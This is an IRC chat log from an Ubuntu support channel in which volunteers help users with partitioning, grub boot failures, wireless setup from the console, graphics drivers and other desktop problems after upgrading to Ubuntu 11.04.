[22:18] <Somelauw> iceroot: tty said that. I did alt + fn + prtscr + m.
[22:18] <LjL> MnCC: and if you're worried about upgrades (or for that matter, if you aren't), you use a separate partition for /home
[22:18] <iceroot> Somelauw: hm strange
[22:18] <MnCC> LjL, now were talking
[22:18] <ablaze> JohnFlux: :( ::: i would really love to do so ::: any help is appreciated
[22:18] <MnCC> LjL, how ?
[22:18] <ubuntu-usr> join #compiz
[22:18] <baggar11> anyone using eyefinity in here? how well does it work?
[22:18] <Somelauw> Changing loglevel. Log level changed to 0.
[22:19] <tessarakt> Hi!
[22:19] <LjL> MnCC: well it's easier to do it during install than after, to be honest. you need gparted and a bit of console tinkering. shrink your / partition, make space for a /home partition, format it, copy everything from your old /home there, add the new /home to fstab, reboot, see if it works, if it works reboot into single user mode, delete stuff from old /home, done
[22:19] <usr13> MnCC: You need to experience a lession in file-management.  Linux is very well organized, (when compared to the way file management is handled in a MS Windows invironment).  Once you get the hang of the Linux way of file-management, you'll love it.
[22:19] <LjL> MnCC: i know unfortunately it's a bit involved if you do it after installing.
[22:19] <tessarakt> hey
[22:20] <tessarakt> when running update-grub, I get:
[22:20] <Chaorain> iceroot: I don't want it encrypted, just maybee ext4
[22:20] <tessarakt> "  Parse error at byte 54 (line 3): unexpected token"
[22:20] <iceroot> Chaorain: still can be seen from windows if ext4 drivers are installed
[22:20] <tessarakt> umm, but which file?
[22:20] <MnCC> LjL, i have been trough bigger fires =)
[22:20] <lee> is there any quick and dirty way of speeding up writes to compactflash media (that is, when the OS is installed to such)?
[22:20] <Chrispy> Anyone here know much about Ubuntu 11.04 ?
[22:20] <Chaorain> iceroot: they won't be
[22:20] <iceroot> tessarakt: /etc/default/grub  i guess
[22:20] <Jasonn> How do I change the apache port?
[22:20] <misreckoning> hey guys, I'm installing Ubuntu on Mac Book Pro, for the first time ever, so, what do you recommend, 64bit or 32bit version? If I was installing on a PC laptop, I'd definitely choose 32bit, but I'm not sure what's the situation on MacBooks... tips? :)
[22:20] <iceroot> !anyone | Chrispy
[22:20] <ubottu> Chrispy: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
[22:20] <MrKeuner> hello, natty here... in synaptic, items in residual config section cannot be purged... Any idea what may be wrong?
[22:20] <tessarakt> iceroot, thx, will take a look
[22:20] <iceroot> Jasonn: /etc/apache2/apache2.conf
[22:21] <ablaze> nobody knows, how to connect to interent in recovery mode console???
[22:21] <iceroot> ablaze: iwconfig
[22:21] <MnCC> LjL, create 2nd uer .. modify fstab .. mount under /home ?
[22:21] <MnCC> uer=user
[22:21] <JohnFlux> ablaze: if you do "iwconfig", do you see your device?
[22:21] <tessarakt> hmm
[22:21] <tessarakt> line 3 of that file is a comment
[22:21] <ablaze> JohnFlux: yes
[22:21] <Chaorain> iceroot: any clue if I can get this to work on 11.04? http://rudd-o.com/new-projects/portablelinux
[22:21] <Chrispy> I am currently having problems with SLOW AS HELL Ati Drivers, Both Opensource, AND Ati Drivers, on Ubuntu 11.04 Natty. Has anyone else had this problem ?
[22:21] <ablaze> it's wlan0
[22:22] <LjL> MnCC: uhm, usually it's the whole /home that's put on a separate partition, not just a single user's directory inside /home.
[22:22] <tessarakt> iceroot, how do you guess that?
[22:22] <usr13> MnCC: LjL is correct.  I very much like having a separate /home/ partition because I have the option to do a fresh install anytime I want and leave all my files right were they are, undisturbed.
[22:22] <ubuntu-usr> i can not resize windows! moreover i haven't any plugin in ccsm to fix that! it seems it should be under uncategorized item but it's does not exists. what now i should do?
[22:22] <LjL> MnCC: so you might as well keep the one user you have now, you just need to know how to deal with single user mode in case things go wrong
[22:22] <iceroot> Chaorain: why not using the usb-creator from ubuntu?
[22:23] <iceroot> tessarakt: normally its the only file a person would change
[22:23] <MnCC> LjL, basicly boot into live and take it from there
[22:23] <LjL> MnCC: that's another option
[22:23] <Chrispy> Ubuntu 11.04 Slow Graphics Performance PRoblems. Anyone had same issue ??
[22:23] <Chaorain> iceroot: doesn't that place it on a FAT partition?
[22:23] <Chrispy> Namely with ATI Drivers
[22:23] <LjL> MnCC: well, the only option if you need to resize the root partition to make space, really
[22:23] <ablaze> JohnFlux: it says "wlan0    IEEE 802.11bg   ESSID:off/any      Mode: Managed       Access Point: Not-Associated      Tx-Power=20 dBm    Retr long limit:7   RTS thr:off Fragment thr:off      Power Management:off
[22:24] <Somelauw> iceroot: But why do I need to check memdump anyway?
[22:24] <iceroot> Chaorain: you cant install linux on fat
[22:24] <iceroot> Somelauw: its just an example for magic sysreq
[22:24] <iceroot> Somelauw: i dont want to test the reboot or kill command
[22:24] <MnCC> LjL, thanks man .. back in a jiffy .. i hope ... =P
[22:24] <tessarakt> iceroot, aha
[22:24] <Somelauw> iceroot: but is uses printscreen instead of sysrq.
[22:24] <Chaorain> iceroot: I meant Fat32, I've done it before.
[22:24] <Somelauw> ?
[22:24] <tessarakt> why doesn't it just output sensible error messages?
[22:25] <tessarakt> you know, I am trying to repair my boot config
[22:25] <iceroot> Somelauw: its the same key
[22:25] <Somelauw> Are you sure? My keyboard has 2 keys for them.
[22:25] <tessarakt> "change" is relative
[22:25] <tessarakt> the file might just be broken
[22:26] <NO92> any help please ?!
[22:26] <usr13> NO92: What is your problem?
[22:26] <ablaze> JohnFlux: it is wlan0
[22:26] <NO92> when i boot my laptop this message appear
[22:26] <NO92> BusyBox v1.17.1 (ubuntu 1:1.17.1-8ubuntu1)
[22:27] <NO92> Built-in shell (ash)
[22:27] <Glycan> Ditto me, I think.
[22:27] <NO92> Enter help for a list of built-in commands
[22:27] <NO92> (initramfs)
[22:27] <NO92> and i can't open my ubuntu till now ?
[22:27] <usr13> ablaze: are you using network-manager?
[22:28] <usr13> ablaze: Or console mode only?
[22:28] <ablaze> usr13: I don't know how to use this ::: can u explain how to use this plz?
[22:28] <Glycan> Where is the bloody boot sequance stored?
[22:28] <ablaze> usr13 it's console mode only ::: according to my understanding
[22:28] <ablaze> usr13: ther is nothing graphical
[22:28] <usr13> ablaze: iwconfig wlan0 scanning
[22:29] <usr13> ablaze: sudo iwconfig wlan0 scanning
[22:29] <NO92> ??
[22:29] <nicboul> Hello, How can I list default search path /lib/ld-linux.so is using to link shared library
[22:29] <arand> NO92: normally means the root filesystem failed to mount, what kind if you filesystem, have you edited fstab lately, and can you access it via a liveCD?
[22:29] <ablaze> usr13: unkown command "scanning"
[22:30] <NO92> so , how can i do that , i'm totally new to ubuntu  , can u tell me please ?!
[22:30] <dd214_> Let's talk Ubuntu vulnerability.. does anyone have the same problem if idle, the screen goes black, but when the mouse or keyboard are moved you have access to the desktop for 10-20 seconds, then out of no where the Login Prompt appears?
[22:30] <usr13> ablaze: what is the essid of your  wireless router?
[22:30] <LjL> dd214_: yes. X is horrible.
[22:30] <Glycan> What is HDD?
[22:31] <ablaze> usr13: the essid i know or essid ubuntu is showing?
[22:31] <NO92> ?
[22:31] <usr13> ablaze: sudo iwconfig wlan0 ap any
[22:31] <maxdmytrenko> receive this error during boot: "unable to find a medium containing a live file system"
[22:31] <reis> alq no canal entende de hardware?
[22:31] <maxdmytrenko> any advice?
[22:31] <dd214_> LjL that would be a security no-go for some of the environments I would like to use Ubuntu @ work/
[22:31] <ablaze> usr13: done
[22:32] <usr13> ablaze: host av.com
[22:32] <ablaze> usr13: what next plz?
[22:32] <LjL> dd214_: well i don't know, i admit that even though it irks me, i have no particular necessity for secure locking. but, have you seen whether it also happens if you lock the computer manually before leaving it?
[22:32] <dd214_> LjL, at least it's not just me.. thanks for confirming the err.
[22:32] <usr13> ablaze: what is the output?  (Did it resolv av.com for you?)
[22:33] <arand> NO92: Those were qusetions, do you use a plain default ubuntu install? Have you edited fstab lately? When you get stuck in initramfs, what kind of error messages do you see?
[22:33] <ablaze> usr13: waiting
[22:33] <ablaze> usr13: connection timed out; no servers could be reached
[22:33] <ablaze> usr13: it's not "scan" instead of "scanning"
[22:33] <ablaze> usr13: ???
[22:34] <usr13> ablaze: iwconfig wlan0 scan
[22:34] <ablaze> usr13: unknown command "scan"
[22:34] <eiriksvin> hello, im trying to use Remote Desktop Veiwer, how do i set up my desktop to be veiwed by me from another computer?
[22:35] <usr13> ablaze: Do you know the essid of your wireless router?
[22:35] <ablaze> usr13: yes
[22:35] <usr13> ablaze: What is it?
[22:35] <ablaze> usr13: one minute plz
[22:36] <MrKeuner> hello, natty here... in synaptic, items in residual config section cannot be purged... Any idea what may be wrong?
[22:36] <jimmybrite> Hi, i'm upgrading 10.10 (clean install+10.10 updates) to 11.04, I've tried before but grub2 seemed to have messed up my mbr, I dual-boot with windows 7, and never had any grub issues with previous ubuntu versions, so in the upgrade for grub-pc, should I keep the old grub (which has failed in previous install) or install the package maintainer's version, which has also failed previously.
[22:36] <ablaze> usr13: SFR_DA9
[22:36] <MrKeuner> is it me o everyone?
[22:36] <usr13> ablaze: iwconfig wlan0 essid SFR_DA9
[22:36] <usr13> ablaze: dhclient wlan0
[22:37] <MoleMan> anyone know of any P2P torrent agents that I can run from command-line?
[22:37] <LjL> MoleMan: rtorrent
[22:37] <usr13> ablaze: host av.com  #Let us know if it is resolving.
[22:37] <st2011> how do i register?
[22:37] <MoleMan> @LjL: is it in the standard repositories? I'm using server 10.10...
[22:38] <LjL> !info rtorrent maverick | MoleMan
[22:38] <ubottu> MoleMan: rtorrent (source: rtorrent): ncurses BitTorrent client based on LibTorrent from rakshasa. In component universe, is extra. Version 0.8.6-1 (maverick), package size 397 kB, installed size 1308 kB
[22:38] <ablaze> usr13: not permitted ::: then i used same command with sudo and it worked ::: but with command "host av.com", it gave same result "connection timed out"
[22:38] <ablaze> usr13: it will need key also ::: no???
[22:38] <MrKeuner> MoleMan, try transmission-cli
[22:38] <usr13> ablaze: I remember now.  It's iwlist:   sudo iwlist scanning
[22:38] <usr13> ablaze: You have encryption on the router?
[22:39] <MrKeuner> MoleMan, chances are you already have transmission anyways
[22:39] <NO92> arand : no , i didn't , and actually i don't where's the problem
[22:39] <st2011> what is the unofficial ubuntu channel?
[22:39] <LjL> st2011: this one
[22:39] <st2011> ok, can someone help me install a program please...
[22:39] <ablaze> usr13: after giving this command, there is a large file just passing before my eyes ::: and it's only the last page in front of me ::: and yes i have encrypted router ::
[22:39] <LjL> st2011: what program?
[22:39] <someguy> hi guys , girls
[22:40] <usr13> ablaze: I'm sorry, I've got to go now.  But if you'll turn off the encryption on the router it will be easy.  Just do: iwlist wlan0 scanning ; dhclient wlan0  #That should do it.
[22:40] <jimmybrite> in the upgrade for grub-pc, should I install the package maintainer's version (all signs point to yes)
[22:40] <st2011> let me pastebin the link
[22:40] <someguy> i got a problem with phpmyadmin , using fcgid as parser , any smart one's out there :-)
[22:40] <st2011> its for android programming
[22:40] <ablaze> usr13: thanx anyway :::
[22:41] <st2011> http://pastebin.com/VGupZ3qn
[22:41] <LjL> st2011: that's like the most gratuitous use of the pastebin ever...
[22:41] <ablaze> is there someoone else who knows how to use internet in recovery console mode ???
[22:41] <st2011> :) lol
[22:42] <LjL> st2011: ok so what's the problem installing the Android SDK?
[22:43] <st2011> LjL, well i downloaded it but i dont know how to install it....
[22:43] <LjL> st2011: to my knowledge, you only need to extract it somewhere. "tar xf filename.tar.gz" in a terminal will do it.
[22:43] <Glycan> Okay, good.
[22:44] <Glycan> I've got console-style acces instead of Ubuntu from a live cd.
[22:44] <Glycan> But at least that's soemthing.
[22:44] <st2011> idk ill get back to this later, i need to step out
[22:44] <st2011> ty!
[22:44] <Glycan> How do I get stuff working now?
[22:44] <NO92> ?
[22:45] <Glycan> Where are the instructions on what to do on startup?
[22:46] <engammalsko> Why do I just have an orange dot as background process icon?
[22:46] <engammalsko> VLC and Skype are just dots.
[22:46] <desg_xd> going to study for exams cya /amsg
[22:46] <Sophiie> any itilatian speakers here?
[22:46] <engammalsko> But under icons are working, like pidgin and KTorrent.
[22:46]  * wli is having little/no trouble with a 64-bit kernel on 32-bit userspace, for whom it may concern.
[22:47] <engammalsko> I use Gnome theme on Ubuntu 11.04
[22:47] <Glycan> You people?
[22:47] <Glycan> Where are the boot commands?
[22:47] <engammalsko> Can anyone help me?
[22:47] <Glycan> Guys?
[22:47] <Glycan> This is a toshiba laptop
[22:47] <dd214_> engammalsko did you upgrade 11.04 or clean install?
[22:48] <engammalsko> dd214: Upgrade.
[22:48] <Glycan> How do I make startup point to U and not Win?
[22:48] <engammalsko> dd24_: *
[22:48] <Sophiie> any italtian speakers / readers here?
[22:49] <LjL> !it | Sophiie
[22:49] <ubottu> Sophiie: Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie! (per entrare, scrivi « /join #ubuntu-it » senza virgolette)
[22:49] <Glycan> Note: The only proper thing I can get to is "PhoenixBIOS Setup Utility", and a crapish text console of ubuntu from a live cd from which I can't find the other paritiions.
[22:49] <Glycan> Can anyone killaly help me?
[22:50] <Glycan> !
[22:50] <Glycan> !test
[22:50] <ubottu> Testing... Testing... 1. 2.. 3... ( by the way, remember that you can use #test )
[22:50] <Glycan> Huh.
[22:50] <studentz> Hi there.  It is possible to hide the top panel in Unity
[22:50] <engammalsko> dd214_: I upgraded, can you help me?
[22:51] <AgresiV> !compiz
[22:51] <ubottu> Compiz (compositing window manager), for a howto see http://help.ubuntu.com/community/CompositeManager and more help #compiz
[22:51] <engammalsko> studentz: I think you just can right click on it and delete it.
[22:51] <shaym> hi, can anybody help with NFS mount issue?
[22:51] <Sophiie> ubottu - thanks, if you see a user by majewski tell him to go there as he is new to IRC
[22:51] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[22:52] <engammalsko> No help?
[22:52] <engammalsko> I have more problems.
[22:52] <dd214_> engammalsko, unfortunately not.  I had alot of problem after upgrading,  so I backed-up and did a clean install of 11.04, all my problems went away in about an hour.   but.. that's probably what you didn't want to hear.
[22:52] <engammalsko> Okay, thanks.
[22:52] <Glycan> Guys!!
[22:52] <Glycan> Please!
[22:53] <engammalsko> I didn't know if you where busy or ignored me, thanks anyway!
[22:53] <Omega> what?
[22:53] <Glycan> Note: The only proper thing I can get to is "PhoenixBIOS Setup Utility", and a crapish text console of ubuntu from a live cd from which I can't find the other paritiions.
[22:53] <Glycan> Er.
[22:53] <studentz> engamalsko Hi. Nothing Happen with the right click, but I do not want to delete it just hide it. In the same way I can Hide the Launcher
[22:53] <Glycan> I had dual boot, then I half-killed Windows, and now nothing works.
[22:53] <Omega> Glycan: what is the problem?
[22:53] <AgresiV> I instaled 11.04 and after 16 hours went for the 10.10 :) easier to learn
[22:53] <Omega> what did you do?
[22:53] <Glycan> Becouse startup script points to Win, and Win points wherever you tell him to point to.
[22:53] <dd214_> Glycan, send your traffic
[22:53] <engammalsko> studentz: Ok, then I have no idea. Just used Unity for 30 min and have only used Ubuntu in 3 months X)
[22:54] <Glycan> ???
[22:54] <engammalsko> see you guys, bye.
[22:54] <nicboul> my alt-tab is slow as hell
[22:54] <Glycan> Explain!!!
[22:54] <shaym> hi, can anybody help with NFS mount issue?
[22:54] <dd214_> engammalsko, let us know how the clean install works
[22:54] <nicboul> my ctrl+alt+(right or left) is slow as hell also
[22:54] <regeya> hey, I've used Ubuntu for several years, and I used Unity for about 30 minutes ;-)
[22:54] <nicboul> since im in 11.04
[22:54] <studentz> engamalsko thanks  and enjoy Unity
[22:55] <AgresiV> my piece of ... you know...PC doesn`t support unity interface :((
[22:55] <studentz> AgresiV did you try Unity 2D?
[22:55] <lastoflast> need help in me menu
[22:56] <AgresiV> nope.. I reinstaled 10.10 xubuntu
[22:56] <Omega> !dualboot | Glycan
[22:56] <ubottu> Glycan: Dual boot instructions: x86/AMD64: https://help.ubuntu.com/community/DualBoot/Windows - Macs: https://help.ubuntu.com/community/MacBookPro https://help.ubuntu.com/community/YabootConfigurationForMacintoshPowerPCsDualBoot
[22:56] <studentz> AgresiV I had 2001 laptop and it works ;)
[22:57] <AgresiV> after hours of googling seems everyone pointed to xubuntu ..
[22:57] <AgresiV> after all... I need speed
[22:57] <lastoflast> need help in me menu
[22:58] <AgresiV> I was thinking to upgrade...think it`s a good ideea ?
[22:58] <Omega> AgresiV: backup and fresh install
[22:58] <studentz> AgresiV: you mean to buy another box?
[22:59] <lastoflast> need help in me menu
[22:59] <AgresiV> no :d I ment to go for the 11.04 again
[22:59] <AgresiV> I`m a litle noobish so I thought 10.10 is more stable and easier to learn the basiscs
[22:59] <thingfish> I didn't think I'd like Unity, but I do.  I really do.  The more you use it, the more it makes sense.
[22:59] <MarcoPau> hi, I have an old installation of vmware on my machine and I would like to purge it. the thing is that dpkg -l | grep vmware won't give any result. what am I supposed to do?
[23:00] <lastoflast> need help in me menu
[23:00] <VCoolio> AgresiV: there was a 4.8 release for xfce which is the desktop environment in xubuntu; it's certainly not in 10.10, maybe 11.04, if it is, upgrade is worth it
[23:00] <nodus> MarcoPau, you probably didnt install vmware via a deb
[23:00] <studentz> AgresiV look at this link http://www.webupd8.org/2011/01/unity-2d-qt-now-available-in-ppa-for.html
[23:01] <MarcoPau> nodus: I guess, but it's been ages and I can't remember. do I better ask the vmware guys?
[23:02] <Axlin> yeah, xubuntu 11.04 ships with xfce 4.8
[23:02] <AgresiV> studentz, interesting ...then shall I upgrade from 10.10 or fresh ?
[23:02] <eldar> hi! I've just updated to Natty, but hit a nasty bug with wifi connection being extremly slow, https://bugs.launchpad.net/ubuntu/+source/linux/+bug/721449
[23:02] <ubottu> Ubuntu bug 721449 in linux (Ubuntu) "slow wifi (atheros driver issue)" [Medium,Triaged]
[23:02] <eldar> is there any workaround for this bug?
[23:04] <Glycan> Can someone helpme?
[23:04] <Shaeykh> !ask | Glycan
[23:04] <ubottu> Glycan: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[23:04] <studentz> AgresiV  good question, I do not have the right answer. But i use the ppa and I had a little problem with the xorg.conf file, which I solved.
[23:04] <Glycan> Okay...
[23:05] <lastoflast> need help in me menu
[23:06] <federica> ciao
[23:06] <AgresiV> well when I initially instaled 11.04 I had a problem to..  xorg.conf file was missing and my graphics drivers was messed up
[23:06] <lastoflast> seriousy
[23:06] <lastoflast> cmon for the last half hour and no help
[23:06] <federica> wow
[23:06] <federica> international chat?
[23:07] <VCoolio> lastoflast: "need help in me menu" isn't much to debug
[23:07] <VCoolio> !details
[23:07] <ubottu> Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[23:07] <studentz> AgresiV Did you fix it?
[23:07] <lastoflast> what should i write
[23:07] <AgresiV> studentz, I will try to upgrade from 10.10... I`ll let you guys know how it went
[23:07] <AgresiV> if not....back to the draqing board
[23:07] <codex84> is it important to have firwall,and antivirus
[23:07] <AgresiV> drawing*
[23:08] <Somelauw> dont do it you will get unity
[23:08] <codex84> on ubuntu?
[23:08] <studentz> AgresiV Please first make a copy of your xorg.conf file and keep it
[23:08] <VCoolio> codex84: only if you're worried to pass on viruses in mail attachments
[23:09] <Glycan> I/my friend had Windows vista on a toshiba laptop. The screen broke, I took it from him, hooked it up to another screen, put U on it (11.04), the computer was very cluttered so I only put the gb partition, then when space became very tight I tryed cleaning the windows, deleted windows (didn't get my space back- How do you change partition borders?), then a while later when I rebooted, it tryed
[23:09] <Glycan> to poitn to windows (normally boot points to windows, and windows asks you what you want, and you go to ubuntu from there.), but most of windows wosn't there, so I can't get to U. A live CD I made only shows test console, and doesn't even let past the cd, I think. "BusyBox v1.17.1, build in shell (ash). How do I get to U?
[23:09] <lastoflast> vcoolio-what should i write
[23:09] <studentz> AgresiV I mean the one that is working in xubuntu
[23:09] <Glycan> E.g. hwo do I make toshiba poitn directly to U.
[23:09] <VCoolio> lastoflast: more details on your problem: what do you want to achieve, what's the problem, is there error output, what did you try to solve
[23:09] <Glycan> (Also how to resize partitions, but that's another story)
[23:09] <bU1137Pr00f> Does anyone know of a good VPN service that I can use on Ubuntu?
[23:09] <Glycan> Argh.
[23:09] <macs> i keep getting this error when trying to start mysql http://pastebin.com/bqBQNctf can someone help me please
[23:10] <Glycan> Can someone help _me_?  I've been waiting for about an hour.
[23:11] <AgresiV> studentz, in the 11.04 could fix squat... to much info to digest.. so I went for the 10.10.. It doesn`t work as it should work but at least a have opengl
[23:11] <Glycan> Argh!
[23:11] <AgresiV> studentz, shouldn`t xorg.conf be located in /etc/X11
[23:11] <AgresiV> ?
[23:12] <studentz> AgresiV that  is good enough. Yep
[23:12] <AgresiV> well
[23:12] <Glycan> Have you all muted me or something?
[23:12] <studentz>  /etc/X11/xorg.conf
[23:12] <AgresiV> I can`t find it....
[23:13] <lastoflast> vcoolio-i solved it own my own,still thanks
[23:13] <lastoflast> though i have another question
[23:14] <bU1137Pr00f> I need a good VPN for Ubuntu. Anyone know of any?
[23:14] <Vitux> does anyone have experience with jackd?
[23:14] <raido> Glycan: Sounds like you removed the boot bartition/boot loader. Unless you have some significant investment in that install, and since you dont want Windows anyway, just start ovar. Reinstall Ubuntu and manage the partitions on the fresh install process.
[23:14] <cellardoor> Which is the ubuntu dev channel? #ubuntu-dev is relatively deserted
[23:14] <AgresiV> studentz, take a look http://paste.ubuntu.com/603479/
[23:15] <Vitux> I installed guitarix/jackd the other day.. and ever since then I've got a weird echo on my sound
[23:15] <Vitux> nothing I do seems to remove it
[23:15] <Glycan> No, I have important _files_ on the windows partition, and soem good stuff on the old ubuntu one, to.
[23:15] <Vitux> I've checked the forums
[23:15] <studentz> AgresiV try in a terminal   sudo   find  /  -type f  xorg.conf
[23:15] <Glycan> Er.
[23:15] <Glycan> Barition? Boot loader?
[23:16] <Vitux> heck I even uninstalled guitarix and jackd and makes no difference
[23:16] <lastoflast> i need help in  finding good music player having playlist pane editor,not playlist queue
[23:16] <Vitux> rhythmbox? :P
[23:16] <Glycan> ls
[23:16] <Vitux> lastoflast, whats wrong with rhythmbox/banshee?
[23:17] <eekTheCat> studentz, there isn't much reason for an xorg.conf on most modern systems
[23:17] <eekTheCat> studentz, I don't have one
[23:17] <lastoflast> vitux-brother they have playlist queue,i hate it. i need playlist pane editor just like in winamp,wmp,mediamonkey
[23:17] <AgresiV> find: ‘Xorg.conf’: No such file or directory
[23:17] <Vitux> ic
[23:18] <MoleMan> attempting to install transmission-daemon to use web interface, anybody know where the files are so I can add my IP to the whitelist?
[23:18] <Vitux> there's always xmms :\ sadly it's deprecated..
[23:18] <Vitux> dead
[23:18] <Vitux> which is too bad cause I always loved xmms
[23:18] <studentz> eekTheCat  May be you are right, but we are talking about a specific old hardware, like my laptop from 2001
[23:19] <Cube``> i want to automate a python job, but when i use cron to run it from some directory, the filenames in the script don't work anymore, like when i have "f = open('asd.log')" it doesnt open it in the script directory, but tries to open it in the cron directory, where it obviously does not exist. how can i execute a script with a custom working directory?
[23:19] <lastoflast> vitux- i have tried that,gmusic,exaile
[23:19] <lastoflast> and others
[23:19] <Vitux> hmm
[23:19] <phed> exaile?
[23:19] <Vitux> in that case I don't fully understand your issue
[23:19] <Glycan> Good grief
[23:19] <VCoolio> MoleMan: localhost:9091/transmission/web or try dpkg -L transmission-daemon; maybe /usr/share/transmission/web
[23:20] <AgresiV> studentz, find: ‘Xorg.conf’: No such file or directory
[23:20] <Vitux> I have no idea what playlist pane editor would mean then..
[23:20] <eekTheCat> AgresiV, the command would be find / -name xorg.conf
[23:20] <Vitux> can you be any more descriptive?
[23:20] <Cube``> how can i execute a script with a manual workdir?
[23:21] <studentz> AgresiV  Are you in Xubuntu?
[23:21] <AgresiV> do`h... thx
[23:21] <daveone_> does anyone know the next alternative to kdenlive? I am having a few issues under natty :(
[23:21] <AgresiV> yep
[23:21] <eekTheCat> lastoflast, i don't know what you mean either. just throwing Amarok out there as another possiblity
[23:21] <MnCC> LjL, thanks a million =)
[23:21] <LjL> MnCC: did it? :)
[23:21] <MnCC> yup
[23:22] <Vitux> eekTheCat, glad to know I'm not the only lost one :)
[23:22] <AgresiV> studentz, /usr/share/doc/xserver-xorg-video-nouveau/examples/xorg.conf
[23:22] <MnCC> LjL, had some problems with gparted .. but im ok now =)
[23:22] <illio> I'm looking at this bug report at the moment.. https://bugs.launchpad.net/ubuntu/+source/vlc/+bug/542943 .. They're claiming the fix has been released in the given versions they write in there.. but how do I get those versions, because the official packages have earlier versions?
[23:22] <ubottu> Ubuntu bug 542943 in vlc (Ubuntu) "vlc assert failure: vlc: encoder/encoder.c:2481: x264_encoder_frame_end: Assertion `pic_out->i_pts >= pic_out->i_dts' failed." [Medium,Fix released]
[23:22] <lastoflast> vitux-i have large music collections around 50k,so managing requires good music organizers.i like rhythmbox but it has playlist queue(i cant play one song again). you might say that you have browser,but suppose i need two different artists.i would not create playlist for that
[23:23] <Vitux> hmm
[23:23] <Vitux> well you could do as I do.. throw everything in the library and make different playlists
[23:23] <Vitux> I can play any one song I want at a time
[23:23] <Pici> !enter
[23:23] <ubottu> Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[23:23] <Vitux> I don't much use the playlists... I mostly just use the library
[23:24] <lastoflast> vitux-not in playlist quue
[23:24] <fizyplankton> any one know how to connect to wifi network "foo" with network key "bar" via cli?
[23:24] <studentz> AgresiV  I think you can try it. The driver is usually mesa.
[23:24] <phed> sudi
[23:24] <phed> sudo iwconfig wlan0 essid bar
[23:24] <fizyplankton> thx
[23:25] <Vitux> lastoflast, it may be that my music collection isn't as vast as yours.. but I don't seem to be following you I think...
[23:25] <zubin71> hi. Im on a 64 bit machine right now and id like to compile my c program in a 32 bit mode. how can i do that
[23:25] <AgresiV> studentz, well...here goes nothing... see ya in 11.04 :))
[23:25] <Vitux> lastoflast, terribly sorry I couldn't be of any help
[23:25] <zubin71> Thanks in advance.
[23:25] <lastoflast> vitux-no issue. have a good day(i am in india)
[23:25] <studentz> AgresiV Good luck. I'll be out for a while :)
[23:25] <phed> sudo iwconfig wlan0 key bar
[23:25] <Vitux> Canadian here :)
[23:25] <MrKeuner> hello, natty here... in synaptic, items in residual config section cannot be purged... Any idea what may be wrong? is it me or everyone?
[23:26] <AgresiV> studentz, thanks a lot for the help... beats googling anytime :))
[23:26] <beanstalk> I just updated my netbook to 11.04 but now I'm dropped automatically in the command line without going to the graphical login screen. How do I fix this?
[23:26] <zubin71> aah the -m32 argument
[23:27]  * zubin71 is used to using the -arch from osx
[23:27] <lastoflast> anyone uses songbird??need help
[23:28] <anygivenname> anyone can help with Asterisk ?
[23:28] <phed> beanstalk type startx
[23:28] <beanstalk> phed: "fatal server error: no screens found"
[23:28] <phed> x is broken by the sounds of it
[23:30] <Limada> hello everybody, hope somebody can help. I need to copy my web folder into var/www so I can launch in in firefox, how can I do it? thanks in advance.
[23:30] <beanstalk> phed: how should I fix it?
[23:30] <coz_> Limada,   several ways,, in terminal      sudo nautilus,, then you can just drag and into that directory  or paste it there
[23:31] <phed> mv /etc/X11/xorg.conf xorg.conf.broken
[23:31] <phed> reboot and test
[23:31] <coz_> Limada,  the other way is to   sudo mov name/of/webfolder  /var/www
[23:31] <jimmybrite> I upgraded 10.10 to 11.04, I dual boot, and now I can't boot into ANY os at all, long story short, grub2 messed up my mbr something fierce, can anyone direct me the right way, i'm geting nowhere with the grub2 ubuntu documentation
[23:31] <phed> or try to autogen a new xorg.conf file
[23:31] <coz_> Limada,  sorry that is  sudo mv  not mov
[23:31] <Limada> coz_, thanks, I need to be root, ohhh....ok. I'll try that, thanks for your kindness.
[23:32] <coz_> Limada,  no problem
[23:32] <coz_> Limada,  yeah its easy when you do      sudo nautilus... but just as easy with the sudo mv  stuff as well
[23:32] <jimmybrite> I'm also getting error : nosuch device, no such disk, need to load kernel first
[23:32] <kim0> Hi, anyone running natty on macbookpro7.1 ? I'm not getting wifi
[23:34] <dibs> I am having a lot of window based redraw issues, is there anyone how can help at all?
[23:34] <makaveli0129> ok i have windows 7 installed in a virtualbox ubuntu as the host OS and i can't see any of my other partitions in virtualbox anyone know how to do this?
[23:34] <dfgas> updated to 11.04 and now my screen is all messed up. besides /etc/X11/xorg.conf is there any other settings i can delete?
[23:34] <dfgas> so it will auto setup my screen again?
[23:34] <dfgas> or any other way to fix it??
[23:35] <camille> #questioncopyright
[23:35] <raido> It seems so oxymoronic that the Ubuntu policy in IRC it to not support the use of the root account because of the preceived increase in suppord demand but then a huge amount of time and effort is spent on having to support dual booting/resizing partitions and shared partitions between Win/Linux. Having to support dial booting in IRC far surpasses support demand than would peoples use/misuse of the root account and at lease using the root account is related o
[23:35] <Limada> coz_ it worked, I did moved the folder there but firefox is now asking me what it should do with the file =/
[23:35] <Glass_Arm> wut
[23:36] <coz_> Limada,  ok at this point..you will have to ask someone else.. my feet are a bit wobbly with networking issues of any kind
[23:36] <Limada> coz_ lol, ok. THanks anyway ;)
[23:36] <beanstalk> phed: I'm trying your first suggestion
[23:37] <dibs> Are you guys getting graphical issue in Natty?
[23:37] <beanstalk> phed: the first one works, I think :)
[23:37] <coz_> dibs,  can you be a bit more specific?  is this nvidia?
[23:38] <Kron> dibs: I'm running Natty on a laptop with an NVIDIA card and a desktop with an ATI card. No problems on either.
[23:38] <dibs> coz_: ati, compiz, unity, when typing in a window nothing shows till I resize the window then it's fine for a while.
[23:39] <coz_> dibs,  ah someone had this issue the other day,, I dont recall the solution,, gah
[23:39] <dibs> Anyone else have this issue? ati, compiz, unity, when typing in a window nothing shows till I resize the window then it's fine for a while.
[23:39] <Belial`> i did an upgrade from ubuntu 10.10 to 11.04 and unity worked fine. i just did a clean install of 11.04 and now it's telling me i can't run unity on my system and it defaults to classic.
[23:39] <dibs> coz_: yeah it's not too bad but enough to bring me here
[23:39] <bU1137Pr00f> Okay, VPNs for Linux. Anyone know of a good service to use?
